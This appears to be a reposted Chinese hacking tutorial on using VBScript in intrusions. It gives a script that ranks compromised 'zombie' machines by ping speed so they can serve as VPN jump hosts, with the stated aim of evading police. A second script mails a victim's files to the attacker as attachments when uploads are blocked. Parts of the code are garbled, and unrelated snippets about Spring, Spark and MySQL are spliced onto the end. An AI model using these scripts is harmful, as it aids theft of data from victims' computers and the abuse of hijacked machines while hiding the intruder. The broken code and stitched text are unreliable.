談VBS在Hacking中的作用 挑選網速快的肉雞

2021-08-26 15:53:56 字數 3508 閱讀 5305

談vbs在hacking中的作用-挑選網速快的肉雞

2023年10月13日

一.挑選速度快的肉雞做vpn。

當自己從小菜鳥轉型為老菜鳥時,就懂得考慮在玩hacking的同時也要盡量保證不暴露

自己。萬事,安全第一嘛!不然都不知道哪天玩著玩著就被警察叔叔帶去喝茶了^_^ 。

因此,作為老菜鳥的我們,要學會在hacking時,多用vpn+終端等跳板措施來保護自己,盡量不讓自己直接暴露所處地。

但是,由於跳板的增加,導致了資料傳輸的緩慢。因此我們完全有必要找網速快的機器來做vpn跳板。但如果讓自己做這些重複性的操作(從眾多的肉雞中挑選網速好的),那就太愧對老菜鳥這個稱呼了。對於學過程式設計的朋友來說,那簡直易如反掌。但對小菜來說,可能還有點難度。因此,今天我就先簡單的介紹下,如何用vbs幫我們挑選速度快的肉雞。

on error resume next

'code by netpatch

set arg=wscript.arguments

'宣告外部引數

if arg.count=0 then wscript.quit

'若沒有引數則退出指令碼

num=0

szbuf = inputbox( "請輸入要找的ping時間值:", "輸入", "200" )

'呼叫彈出訊息輸入框來獲取要查詢的時間

set fso=createobject("scripting.filesystemobject")

'宣告fso元件

set gofile=fso.opentextfile(arg(0),1,false,-2)

'開啟拖進來的檔案

do while gofile.atendofline true

ip=gofile.readline

'讀取一行

set oshell = wscript.createobject("wscript.shell")

'宣告wsh元件

set oexec = oshell.exec("ping -n 1 "&ip&"")

'執行ping命令,然後把結果附值到oexec

set file=fso.opentextfile(arg(0)&".txt",8,true)

do while not oexec.stdout.atendofstream

strout = oexec.stdout.readline()

if oexec.stdout.line>4 then exit do

'用迴圈讀取指定行數

loop

if cint(get_time(strout)) vbs指令碼上,再填入你要找的ping時間值,即可很快找出哪台肉雞相對比較快的(當然,前提是你的肉雞沒防ping!不過話說回來,如果防ping的話,估計有防火牆一類的東西,可能也做不成vpn了。)。

二.利用vbs傳送郵件

有的時候,滲透時,我們需要在dos下打包對方的某些東西!

有的時候,我們沒辦法上傳工具。

有的時候,由於對方限制太嚴格,沒辦法利用ftp等方法傳東西。

這個時候,下面的指令碼就派上大用場了,可以很輕鬆的將對方的東西,當附件傳送到自己郵箱。(前提是,附件不要太大哦……不然很容易暴露d!)

function send_mail(you_account,you_password,send_email,send_email2,send_topic,send_body,send_attachment)

'code by netpatch

'vbs傳送郵件引數說明

'you_account:你的郵件帳號

'you_password:你的郵件密碼

'send_email:

主要郵件位址

'send_email2: 備用郵件位址

'send_topic:

郵件主題

'send_body:

郵件內容

'send_attachment:郵件附件

you_id=split(you_account, "@", -1, vbtextcompare)

'帳號和伺服器分離

ms_space = ""

'這個是必須要的,不過可以放心的事,不會通過微軟傳送郵件

set email = createobject("cdo.message")

email.from = you_account

'這個一定要和傳送郵件的帳號一樣

email.to = send_email

'主要郵件位址

if send_email2 "" then

email.cc = send_email2

'備用郵件位址

end if

email.subject = send_topic

'郵件主題

email.textbody = send_body

'郵件內容

if send_attachment "" then

email.addattachment send_attachment

'郵件附件

end if

with email.configuration.fields

.item(ms_space&"sendusing") = 2

'發信埠

.item(ms_space&"smtpserver") = "smtp."&you_id(1)

'smtp伺服器位址

.item(ms_space&"smtpserverport") = 25

'smtp伺服器端口

.item(ms_space&"smtpauthenticate") = 1

'cdobasec

.item(ms_space&"sendusername") = you_id(0)

'你的郵件帳號

.item(ms_space&"sendpassword") = you_password

'你的郵件密碼

.update

end with

email.send

'傳送郵件

set email=nothing

'關閉元件

send_mail=true

'如果沒有任何錯誤資訊,則表示傳送成功,否則傳送失敗

if err then

err.clear

send_mail=false

end if

end function

'以下是利用上面的函式傳送帶附件的郵件例子

if send_mail("[email protected]","alan@113","[email protected]","","郵件主題","郵件內容","d:\test.exe")=true then

wscript.echo "傳送成功"

else

wscript.echo "傳送失敗"

end if

value ref在spring中配置的作用

很多時候拿到別人的xml配置都是直接去用,偶爾會慢慢的去學習人家為什麼要這樣去寫,這樣定義會產生乙個什麼樣的效果,與其他 會有什麼聯絡。在spring中節點的子節點下還有乙個子節點,當然我們也可以直接寫成 entry value ref 形式。這個節點的作用是什麼?為什麼這樣定義?value ref...

Spark RDD在Spark中的地位和作用如何

一 為什麼會有spark?因為傳統的平行計算模型無法有效的解決迭代計算 iterative 和互動式計算 interactive 而spark的使命便是解決這兩個問題,這也是他存在的價值和理由.二 spark如何解決迭代計算?其主要實現思想就是rdd,把所有計算的資料儲存在分布式的記憶體中.迭代計算...

重音符accent 符號在mysql中的作用

重音符accent 符號在mysql中的作用 是 mysql 的轉義符,避免和 mysql 的本身的關鍵字衝突,只要你不在列名 表名中使用 mysql 的保留字或中文,就不需要轉義。所有的資料庫都有類似的設定,不過mysql用的是 而已。通常用來說明其中的內容是資料庫名 表名 欄位名,不是關鍵字。例...